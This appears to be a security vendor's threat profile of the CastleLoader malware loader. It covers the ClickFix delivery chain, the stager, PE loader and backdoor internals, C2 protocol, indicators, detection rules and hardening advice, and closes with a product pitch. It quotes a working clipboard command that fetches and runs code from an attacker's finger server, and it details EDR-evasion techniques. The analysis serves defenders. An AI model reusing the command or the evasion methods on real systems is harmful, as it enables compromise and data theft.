CastleLoader

Malware-as-a-service loader · Also tracked as CastleBot · First seen early 2025 ·

Overview

CastleLoader is a Windows-targeting malware-as-a-service framework active since early 2025. Public malware analysis tracks the same malware family as CastleBot and documents it as a three-component framework: a shellcode stager, a PE loader, and a core backdoor. TAG-150 is associated with CastleLoader activity and a related remote access trojan family called CastleRAT (Python variant: PyNightshade).

The framework's job is narrow: get a foothold on a clean Windows endpoint, fingerprint the host, register with the C2, and execute whichever secondary payload the operator schedules. Confirmed delivered payloads include NetSupport RAT, WARMCOOKIE (BadSpace), DeerStealer, RedLine, StealC, SectopRAT, Hijack Loader, MonsterV2 (Aurotun Stealer), Rhadamanthys, and Remcos. An eleventh — a custom .NET stealer named "CastleStealer" — was documented in April 2026. Public reporting notes that NetSupport and WARMCOOKIE have prior links to ransomware operators, which positions CastleLoader as a credible upstream component in current ransomware kill chains even though it does not deploy ransomware itself.

Operationally, CastleLoader is significant because it removes the disk artifact from initial access. Public reporting documents 1,634 infection attempts and 469 confirmed compromises in the May—July 2025 window — a 28.7% conversion rate, an unusually high success rate for a loader. Targeting has been broad but consistent: US government agencies, IT services firms, logistics, and critical infrastructure across North America and Europe.

CastleLoader does not appear in dark-web marketplaces. Public reporting has found no evidence of open advertising, suggesting a closed affiliate model — vetted operators only — which makes attribution harder but does not slow distribution.

Operational attack chain · ClickFix-to-CastleLoader
  1. Start

    Lure surface

    SEO poisoning · fake GitHub · ClickFix page

  2. Stage 1

    Clipboard payload

    JS writes cmd to clipboard

  3. Stage 2 — user

    Win+R → paste → Enter

    finger.exe / curl retrieves stage

  4. Stage 3

    Shellcode stager

    DJB2 hash · PEB walk · XOR decrypt

    AutoItpythonwDave
  5. Stage 4

    PE Loader maps core

    NtAllocateVirtualMemory · PEB_LDR splice

  6. Stage 5

    Core backdoor · C2 tasking

    ChaCha20 · per-build UA token

  7. Impact

    Payload deployment

    → stealers · RATs · ransomware precursors

ClickFix is the dominant delivery path. Trojanized installer downloads via SEO poisoning skip Stages 1—2 and enter at Stage 3 directly.

Tactics, techniques, and procedures

CastleLoader maps to multiple MITRE ATT&CK Enterprise tactics. The highest technique density sits in Execution and Defense Evasion, consistent with a framework designed to defeat signature-based scanning and behavioral pattern matching simultaneously. The coverage map below combines public CastleBot mappings, campaign observations, and the BackgroundFix variant disclosed in April 2026.

Technique detailKey techniques · CastleLoader
TacticTechniquesWhat CastleLoader does
Resource DevelopmentAttackers use search-optimized fake download portals, fake GitHub repositories, and lookalike web pages to stage CastleLoader delivery before user execution. This supports initial access, but the technique itself is mapped under Resource Development rather than Initial Access.
Initial AccessCloudflare-themed ClickFix pages, fake GitHub repositories impersonating trusted tooling, and fake background-removal sites tracked as BackgroundFix. Fake document-signing and identity-login pages have also been observed delivering CastleLoader via ClickFix.
ExecutionVictims are instructed to paste cmd or powershell commands into the Run dialog. BackgroundFix-style variants invoke finger.exe against an attacker-controlled finger daemon; the response is parsed via for /f "skip=8 delims=", and the line-nine content is executed via call. Subsequent stages can run through pythonw.exe using the legitimate Python embeddable distribution, AutoIt-based delivery through a packed script, PowerShell commands, BAT commands, DLL execution via regsvr32.exe, MSI execution through msiexec.exe, and Native API-backed task execution. The July 2025 task framework supports nine launch methods, including EXE, DLL, PE injection, PowerShell, BAT, and MSI paths.
PersistencePer public malware analysis, the core uses the ITaskService COM interface to register a scheduled task triggered on TASK_TRIGGER_LOGON. Persistence is operator-configured per task via the startup_method = 1 field, not universal across campaigns.
Defense Evasion (all supported Windows builds)Across supported Windows builds, the PE Loader inserts an LDR_DATA_TABLE_ENTRY with a corresponding LDR_DDAG_NODE into the host process's PEB_LDR_DATA doubly-linked lists so the injected PE appears in EDR module enumeration as a legitimately loaded library. The stager resolves APIs through DJB2 hashing and stack-encoded hash values, defeating string-pattern searches. Anti-VM checks use the cpuid instruction with leaf 0x40000000 to detect VMware and Parallels hypervisor signatures.
Defense Evasion (Windows 11 24H2+)On Windows 11 24H2 and later, CastleLoader uses an additional OS-specific bypass path: it hooks NtManageHotPatch in ntdll memory to bypass the newer memory integrity check. Standard injection then proceeds via QueueUserAPC and ResumeThread, reducing the number of WriteProcessMemory calls compared with the older injection path.
DiscoveryCore enumerates username (GetUserNameW), NetBIOS name (GetComputerNameW), architecture (IsWow64Process), Windows version (RtlGetVersion), and local DNS domain (LsaQueryInformationPolicy). Victim ID is computed from the volume serial number (GetVolumeInformationW) via a linear congruential generator with multiplier 0x41C64E6D and addend 0x3039.
Command and ControlHTTP (not HTTPS) to a hardcoded base URL. Initial settings fetch is an unencrypted GET against /service/settings/<campaign_id>. All subsequent traffic is ChaCha20-encrypted with key+nonce from the embedded config. User-Agent is a per-build random alphanumeric string (the access_key from the config — also sent inside the encrypted body), not a real browser or crawler UA. Stager downloads use Googlebot as the User-Agent.
Stage 1T1566.002 · T1189 · T1608.006 (Resource Development)

The lure surface

CastleLoader campaigns operate across three converging lure surfaces. The dominant one is ClickFix-style social engineering. Victims arrive at a fake verification page through poisoned Google search results or malvertising. Documented themes include Cloudflare Turnstile imitations, fake DocuSign and Okta pages, fake browser update prompts, and (April 2026 onward) fake AI-powered "remove background" image-editing sites — the BackgroundFix campaign public malware analysis disclosed used eight related domains with the same template. Embedded JavaScript silently writes a malicious command to the clipboard via document.execCommand("copy") and pings a logging endpoint via navigator.sendBeacon, giving the operator telemetry on which visitors reach the paste step.

The second is fake GitHub repositories. Public reporting documents repositories impersonating SQL Server Management Studio libraries (SSMS-lib) and a client connector, targeting developers searching for trusted tooling and exploiting the assumption that GitHub-hosted means safe.

The third is SEO-poisoned trojanized installers. public reporting has documented weaponized SSMS installers and AMD Chipset driver packages served through fake download portals that outrank legitimate vendor pages. This route skips ClickFix entirely. The user clicks Download on what looks like a legitimate site and runs an installer that contains an embedded CastleLoader stager sideloaded via a signed binary plus tampered DLL — public malware analysis traces the Dave crypter handling that step in some campaigns.

Stage 2T1059.001 · T1059.003 · T1204.004

The clipboard payload

The string placed on the clipboard varies across campaigns. The BackgroundFix variant public malware analysis documented in April 2026 is technically the most interesting because it skips PowerShell entirely:

BackgroundFix clipboard payload — public malware analysis, April 2026
%COMSPEC% /k start "" /min for /f "skip=8 delims=" %h in ('finger nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- '

Pattern documented by public malware analysis in the BackgroundFix campaign analysis

Four moving parts: start "" /min launches the next stage minimised so no console flashes on screen. finger.exe — a Windows binary shipping unchanged since NT — queries an attacker-controlled finger daemon on TCP port 79 at cheeshomireciple[.]com. The for /f "skip=8 delims=" drops the eight banner lines a typical finger daemon returns by default; line nine contains the actual command body, populated from the operator's ~/.plan file with world-readable permissions. call %h executes whatever that line contains as a fresh command. The terminal echo exists solely to display the "press ENTER" prompt the victim is expecting, completing the social-engineering theatre.

What comes back from finger is a batch script that downloads the legitimate Python Software Foundation embeddable distribution from python.org (renamed to a .pdf extension during download), extracts it with tar.exe, and invokes pythonw.exe against a Python stager. The stager unpacks itself in three layers — base64, zlib, UTF-32 — then fetches a second Python script that uses Cyrillic-to-Latin character substitution before its own base64 decode ('Ф' → '/', 'В' → 'R', and so on) to defeat naive string hunting. The final Python is a ctypes shellcode loader that calls HeapCreate(0x00040000) (HEAP_CREATE_ENABLE_EXECUTE) and HeapAlloc(0x00000008) (HEAP_ZERO_MEMORY) to produce an executable heap allocation in one step, then jumps to the decrypted shellcode via CFUNCTYPE.

Earlier campaigns documented by public campaign analysis used a PowerShell variant: Invoke-WebRequest downloading a GUID-named ZIP into %APPDATA%, Expand-Archive deflating it, and the dropped .au3 launched via the AutoIt3 interpreter packaged inside. Both deliver the same Stage-3 shellcode stager.

Stage 3T1620 · T1027.007 · T1497.001

The shellcode stager

What runs next is not CastleLoader proper. It is a separate ~8.6 KB shellcode component public reporting calls the stager, designed to bootstrap the PE Loader and core backdoor without touching disk. Its first job is to build an API function table without using normal Windows imports.

The stager resolves APIs through PEB walking and DJB2 hashing (init 5381, multiply by 33, add each byte). It dereferences the PEB's loader data through InLoadOrderModuleList, walks each entry, converts the UNICODE module name to ASCII, and hashes it; the export resolver then walks AddressOfNames, hashing each, and looks up the corresponding RVA via AddressOfNameOrdinals and AddressOfFunctions.

The hash lookup has an unusual twist in the BackgroundFix variant. Rather than passing the target hash as a function argument, the resolver reads it from the upper 32 bits of the return address on the stack. Every call site pushes a single 64-bit literal where the low dword is the sentinel 0xFFFFFFFF and the high dword is the expected DJB2 hash. The resolver checks the low dword to confirm a real return address was pushed, then compares each export's hash against the high dword. This makes the hashes invisible to most string-pattern searches because they appear only as immediate values inside push instructions, not as data.

The stager then downloads two payloads via HTTP using Googlebot as its hardcoded User-Agent. public malware analysis documents URLs of the form http://<C2>/service/download/data_3x.bin and /data_4x.bin. Both are XOR-decrypted with a hardcoded UTF-16 string — in public reporting's sample, the key was GySDoSGySDoS. The decryption yields two artefacts: the embedded PE that becomes the core backdoor, and a shellcode stub that becomes the PE Loader. The stager then calls VirtualProtect to mark the loader region as PAGE_EXECUTE_READWRITE and hands it a pointer to the decrypted PE as its argument.

The BackgroundFix variant uses one additional evasion trick. Instead of jumping directly to the decrypted next-stage payload, the shellcode hands control to it through ReplaceTextW — the Windows Find-and-Replace dialog API from comdlg32.dll. The shellcode builds a FINDREPLACEW structure on the stack with FR_ENABLEHOOK set and lpfnHook pointing at the payload's entry. Windows calls the hook on WM_INITDIALOG before the dialog is ever rendered, so execution transfers without the obvious "shellcode jumps to its own buffer" pattern most EDRs watch for.

Stage 4T1620 · T1055.012

The PE Loader

The decrypted CastleBot PE Loader is a fully-featured reflective PE loader. It begins by calling NtAllocateVirtualMemory directly rather than VirtualAlloc's wrapper — VirtualAlloc is among the most commonly hooked Win32 APIs, and going one level deeper bypasses those hooks entirely. It maps each PE section into the allocation, walks the relocation directory to fix absolute addresses, resolves imports via the same DJB2 hash mechanism the stager used, sets section memory protections, and executes any registered TLS callback functions.

The detection-defeating step is what comes next. The loader sets up a new LDR_DATA_TABLE_ENTRY structure and the corresponding LDR_DDAG_NODE (extended in Windows 8 and later) and adds them into the host process's PEB_LDR_DATA doubly-linked lists. To EDR agents enumerating loaded modules through the PEB, the injected PE looks indistinguishable from a DLL loaded by the normal Windows loader. Unless the injected file is a DLL, the loader also overwrites PEB.ImageBaseAddress with the new image's base — so subsequent GetModuleHandle(NULL) calls return the injected PE instead of the host process, which lets payloads that expect to be the main EXE find themselves correctly.

In a fallback path, if allocation at the embedded PE's preferred image base fails and the PE has no relocation directory, the loader calls NtUnmapViewOfSection directly (not UnmapViewOfFile) to evict whatever module is sitting at that address — a flavour of classic process hollowing. Most BackgroundFix infections do not exercise this path because the injection happens inside a freshly spawned python.exe where the preferred base is normally free. Where it does fire, the unmap target is whatever happens to be mapped at the preferred base inside the host process, not a separately spawned victim process.

The PE Loader hands control to the embedded PE by reading AddressOfEntryPoint from its optional header, adding it to the new image base, casting the result to a function pointer, and calling it. Execution leaves the loader and starts running inside the core backdoor.

Stage 5T1071.001 · T1573.001 · T1082 · T1106

The core backdoor and C2 tasking

The core backdoor is what most public reporting refers to as "CastleLoader" proper. It switches API resolution from DJB2 to a variant of the AP hash developed by Arash Partow (initial state 0xAAAAAAAA, even-index transform (state << 7) ^ (c * (state >> 3)), odd-index transform ~((state << 11) + (c ^ (state >> 5)))). The algorithm is distinct enough from the stager/loader hashing routine that a static unpacker built for one will not work on the other.

On startup, the core decrypts its embedded configuration. Almost all strings throughout the binary are stored as UTF-16 and decrypted inline via a unique 4-byte XOR key per string, not a single master key. The resulting config struct contains the campaign ID, the C2 base URL, the per-build access key (used both as User-Agent and as the access_key body field), the mutex / instance ID, the ChaCha20 key (32 bytes), and the ChaCha20 nonce (12 bytes).

The core creates a mutex named after the instance ID (single-instance gate per campaign on the host), then sends an unencrypted HTTP GET to http://<c2_base>/service/settings/<campaign_id>. The response is ChaCha20-encrypted and contains four operator-controlled flags:

  • run_as_admin: re-launches the parent process via ShellExecuteW with the runas verb to obtain elevation
  • anti_vm: issues the cpuid instruction with leaf 0x40000000 and checks for VMware or Parallels hypervisor signatures; exits if found
  • prevent_restart: creates a hidden file at C:\ProgramData\<instance_id> as a reinfection marker; exits if the file already exists
  • show_fake_error: displays a message box titled "System Error" reading "The program can't start because VCRUNTIME140.dll is missing from your computer. Try reinstalling the program to fix this problem."

The core then performs host enumeration — username (GetUserNameW), NetBIOS name (GetComputerNameW), local DNS domain (LsaQueryInformationPolicy), architecture (IsWow64Process), Windows version (RtlGetVersion), and a victim ID derived from the volume serial number via a linear congruential generator (multiplier 0x41C64E6D, addend 0x3039) — wraps it in the serialized container format alongside the access key and campaign identifier, ChaCha20-encrypts the whole thing, and POSTs it to /service/tasks.

The C2 response is a container holding zero or more task definitions. Each task has an id, a url to fetch the payload, an install_path (which may be empty for in-memory tasks, a real path, or the special value :SELF: meaning inject into a duplicate of the parent process), an argument field, encryption options (is_encrypted_container + container_encryption_key for RC4), persistence (startup_method = 1 registers a scheduled task via ITaskService COM with TASK_TRIGGER_LOGON), and the all-important launch_method field. The July 2025 update expanded launch methods from six to nine: EXE via CreateProcessW or ShellExecuteW (1), DLL via rundll (2), DLL via regsrv32.exe (3), DLL via LoadLibraryW (4), PE injection old mechanism (5), PE injection via the PE Loader using QueueUserAPC (6), PowerShell command (7), BAT command (8), MSI via msiexec.exe (9). A wow64_bypass flag forces 32-bit SysWOW64 binary execution.

Method 6 is the operationally significant addition. To bypass the memory integrity check added in Windows 11 24H2, the loader hooks NtManageHotPatch in ntdll memory using a public POC documented by Hasherezade, then uses QueueUserAPC + ResumeThread to transfer execution to the embedded PE Loader stub inside the target process. Compared to classic injection, this dramatically reduces the number of cross-process WriteProcessMemory calls and so leaves less behavioral signal.

Task completion is reported via HTTP GET to /service/tasks/complete/id/<task_id> on the same C2.

Process tree

What the kill chain looks like in EDR telemetry

Indicators of compromise

The indicators below are durable: file paths, behavioral patterns, network signatures, and protocol fingerprints that have remained consistent across CastleLoader campaigns and survive variant rotation. Per-campaign C2 IPs and hashes rotate weekly and are not included here — refer to the public campaign analysis and public IOC repository IOC repositories for the current set.

File paths and artifacts

6 indicators

Locations where CastleLoader drops staging, persistence, or auxiliary artifacts.

  • C:\ProgramData\<instance_id>Hidden reinfection-prevention marker (prevent_restart flag)
  • %ProgramData%\CeoliauD\DabkinaNetSupport drop path, BackgroundFix campaign
  • %APPDATA%\Roaming\<random>.exeRenamed python.exe (BYOI) — name from cmd %RANDOM% concatenation
  • %APPDATA%\*.au3 + AutoIt3.exepublic campaign analysis AutoIt delivery route; "freely.a3x" specific sample
  • %TEMP%\*.zip (GUID-named)PowerShell ClickFix-deposited ZIP container (earlier variants)
  • %TEMP%\python.zip.pdfEmbedded Python download, BackgroundFix variant

Process tree patterns

5 patterns

Parent-child execution chains that signal a CastleLoader kill chain in progress.

  • explorer.exe → cmd.exe → finger.exeBackgroundFix initial access, public malware analysis documented
  • explorer.exe → powershell.exe → Expand-Archive → AutoIt3.exeEarlier public campaign analysis-documented PowerShell-to-AutoIt route
  • cmd / finger → curl.exe → tar.exe → pythonw.exeBYOI Python chain — legitimate Python embed from python.org
  • [trojanized installer].exe → [signed binary] → [tampered DLL]Dave crypter DLL sideload chain (SSMS, AMD chipset installers)
  • pythonw.exe → outbound HTTP GET /service/settings/...Core backdoor initial check-in URI pattern

Network behavior

6 patterns

Outbound traffic patterns observable at firewall, proxy, or DNS layer.

  • Outbound TCP port 79 (finger) from endpointBackgroundFix Stage-2 — no legitimate use case on 2026 endpoints
  • URI: /service/settings/<hex_campaign_id>Core's initial unencrypted GET (public reporting)
  • URI: /service/download/<name> (e.g. data_3x.bin)Stager's payload download paths
  • URI: /service/tasks (POST) and /service/tasks/complete/id/NCore task fetch and completion endpoints
  • User-Agent: random alphanumeric token (~20-32 chars)Core's per-build access_key, identical to body field
  • User-Agent: Googlebot from non-server processesStager downloads — real Googlebot never originates from endpoints

Memory and behavioral artifacts

4 patterns

In-memory and API-level patterns visible to EDR with kernel callbacks or userland hooking.

  • PEB walk from user-process shellcodeReads of fs:[0x30] / gs:[0x60] outside ntdll loader
  • PEB_LDR_DATA list write from user processLDR_DATA_TABLE_ENTRY + LDR_DDAG_NODE splice, public reporting documented
  • In-memory patch of ntdll!NtManageHotPatchWindows 11 24H2 memory integrity bypass, public reporting documented
  • ReplaceTextW invocation with FR_ENABLEHOOKBackgroundFix Stage-3 handoff via comdlg32 dialog hook

BackgroundFix campaign domains

8 lure domains

Domains identified by public malware analysis via Validin pivots, all using the same fake background-removal template. Listed for retrospective hunting; threat actor rotates infrastructure regularly.

  • ai-scan[.]digitalBackgroundFix lure
  • bg-transparency[.]onlineBackgroundFix lure
  • bg-go[.]onlineBackgroundFix lure
  • background-off[.]comBackgroundFix lure
  • bg-ready[.]onlineBackgroundFix lure
  • bg-removerok[.]onlineBackgroundFix lure
  • background-ready[.]onlineBackgroundFix lure
  • backgroundformat[.]onlineBackgroundFix lure

Detection guidance

CastleLoader is engineered to defeat signature-based scanning: payloads are encrypted in transit, decrypted only in memory, and never written to disk as executables. Behavioral detection works because the chain combines clipboard activity, niche LOLBin usage, PEB-level manipulation, and a distinctively-shaped HTTP check-in in a sequence that legitimate user activity does not produce.

  1. 01

    Clipboard-to-process correlation

    Endpoint telemetry

    Clipboard contents containing cmd.exe /k, finger, powershell, Invoke-WebRequest, for /f "skip=, or pythonw string sequences, followed within 30 seconds by execution of those binaries with explorer.exe as parent.

    Why it works: legitimate users almost never paste these strings into the Run dialog. The 30-second window correlates the lure with the execution while the clipboard contents are still in memory for inspection.

  2. 02

    finger.exe execution from a user-shell context

    EDR / process telemetry

    Any invocation of finger.exe with an argument matching <user>@<domain> from a non-administrative process, especially with cmd.exe or explorer.exe as parent. finger.exe has been shipping with Windows since NT but has effectively zero legitimate use on modern enterprise endpoints.

    Why it works: this is the single most diagnostic signal in the BackgroundFix chain. The Win32 finger client makes outbound TCP/79 connections that almost no enterprise endpoint should ever produce.

  3. 03

    "Bring-your-own-interpreter" Python from user-writable paths

    EDR / process telemetry

    Execution of pythonw.exe or python.exe from %APPDATA%, %LOCALAPPDATA%, or %TEMP%, especially when the parent chain includes tar.exe extracting from a file with a misleading extension (.pdf, .txt, .dat).

    Why it works: legitimate Python installations live in C:\Python* or %LOCALAPPDATA%\Programs\Python. Python running from a roaming AppData path almost always indicates an adversary bringing its own interpreter to bypass scripting-language allowlists.

  4. 04

    PEB_LDR_DATA module-list manipulation

    EDR / kernel callback telemetry

    Writes to the InLoadOrderModuleList or InMemoryOrderModuleList doubly-linked lists inside PEB_LDR_DATA originating from user code, specifically inserts of new LDR_DATA_TABLE_ENTRY + LDR_DDAG_NODE pairs that did not come from ntdll!LdrLoadDll.

    Why it works: this is the moment the PE Loader makes its in-memory PE visible to userland module enumeration. Legitimate LoadLibrary calls are mediated by the ntdll loader and traceable through standard kernel callbacks; direct list splicing is not.

  5. 05

    In-memory patching of NtManageHotPatch

    EDR / memory-protection telemetry

    Cross-process or in-process writes to the NtManageHotPatch export in ntdll.dll. NtManageHotPatch has no legitimate reason to be patched outside Microsoft hotpatching infrastructure, and CastleLoader uses an in-memory patch here specifically to bypass Windows 11 24H2 memory integrity checks before injection.

    Why it works: this is the cleanest indicator that an injector has detected and is actively defeating Windows 11 24H2's added memory check. Hasherezade's POC is well-known and the patch pattern is recognisable.

  6. 06

    HTTP traffic with /service/settings/ or /service/tasks URIs

    Firewall / proxy logs

    Outbound HTTP requests to URIs matching the patterns /service/settings/<hex>, /service/tasks, /service/download/<name>, or /service/tasks/complete/id/<N>. The hex value in the settings URI is the 64-character campaign ID.

    Why it works: these URI patterns are baked into the core backdoor and visible even when the body is ChaCha20-encrypted. The initial settings GET is unencrypted entirely, making it the easiest to catch at the proxy layer.

  7. 07

    Unusual User-Agent patterns from user processes

    Firewall / proxy logs

    Outbound HTTP traffic where the User-Agent is either (a) the literal string Googlebot from a non-server endpoint, or (b) a high-entropy alphanumeric token of 20-32 characters with no version string or product name. Per public malware analysis, CastleLoader's stager uses Googlebot and the core uses a per-build random token identical to the access_key body field.

    Why it works: Google's actual crawler does not originate from endpoint workstations. Random-token User-Agents have no legitimate browser or application precedent and indicate a custom HTTP client.

Hardening recommendations

The five controls below block the dominant CastleLoader delivery chains at zero licensing cost. None requires a new product purchase. Items are tagged by deployment difficulty: Quick win = single GPO or rule, deployable in days. Standard = needs audit-mode rollout, deployable in weeks.

  1. Disable the Windows Run dialog for non-admin users

    Quick win

    Set the NoRun Group Policy for user-tier accounts that do not need Run-dialog access. This blocks Win+R, the "Run..." entry in the Win+X power-user menu, and the New Task dialog in Task Manager — the entire surface ClickFix relies on. Users with a legitimate need (developers, IT) can be exempted via OU placement.

    Path: User Configuration → Administrative Templates → Start Menu and Taskbar → Remove Run menu from Start Menu. Or registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = 1.

  2. Block outbound TCP port 79 (finger) at the network egress

    Quick win

    finger.exe is the BackgroundFix Stage-2 entry point. The Windows finger client has been shipping since NT and is still there in current Windows builds, but practically nobody outside niche unix-interop scenarios uses it. Blocking TCP/79 outbound at the network egress costs nothing and breaks the entire BackgroundFix chain at its first network step.

    Path: Firewall egress rule denying TCP/79 from endpoint subnets. Optionally pair with AppLocker rule denying finger.exe execution outright for non-admin users.

  3. Block execution from user-writable paths via AppLocker or WDAC

    Standard

    Deny unsigned executable execution from %APPDATA%, %LOCALAPPDATA%, and %TEMP%. This blocks the AutoIt3, pythonw (BYOI), and trojanized-installer stages of every CastleLoader variant before the stager shellcode runs. Apply in audit mode first to surface legitimate software that relies on these paths, then enforce.

    Path: Computer Configuration → Windows Settings → Security Settings → Application Control Policies → AppLocker. WDAC policies via PowerShell New-CIPolicy.

  4. Enable PowerShell script-block logging and Constrained Language Mode

    Quick win

    Script-block logging captures obfuscated Invoke-WebRequest / Expand-Archive chains and the PowerShell launch methods (7) used by CastleLoader's task framework, even when payloads self-delete. Constrained Language Mode restricts the .NET reflection features attackers use for in-memory loader execution.

    Path: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging. CLM via Device Guard policy or $ExecutionContext.SessionState.LanguageMode.

  5. Constrain LOLBin execution: regsvr32, msiexec, MSBuild, InstallUtil, RegSvcs

    Standard

    CastleLoader's task framework exposes nine launch methods including DLL-via-regsvr32, MSI-via-msiexec, BAT execution, and PowerShell execution. Blocking or alerting on these LOLBins for non-administrative user contexts forces the operator to use the noisier injection paths (methods 5 or 6), which generate more behavioral signal.

    Path: AppLocker executable rules with audit-mode rollout to surface dependencies first, then enforced denies for non-admin contexts. Pair with EDR rules alerting on each LOLBin spawned by a user-shell parent.

How Malware Protection Plus responds

A walkthrough showing detection of the stager-to-loader sequence, automated containment of the affected endpoint, and forensic capture of the in-memory PE before the core backdoor reaches its C2.

Test your defenses against ClickFix-to-CastleLoader kill chains.

Malware Protection Plus catches the stager-to-loader sequence that signature-based tools miss.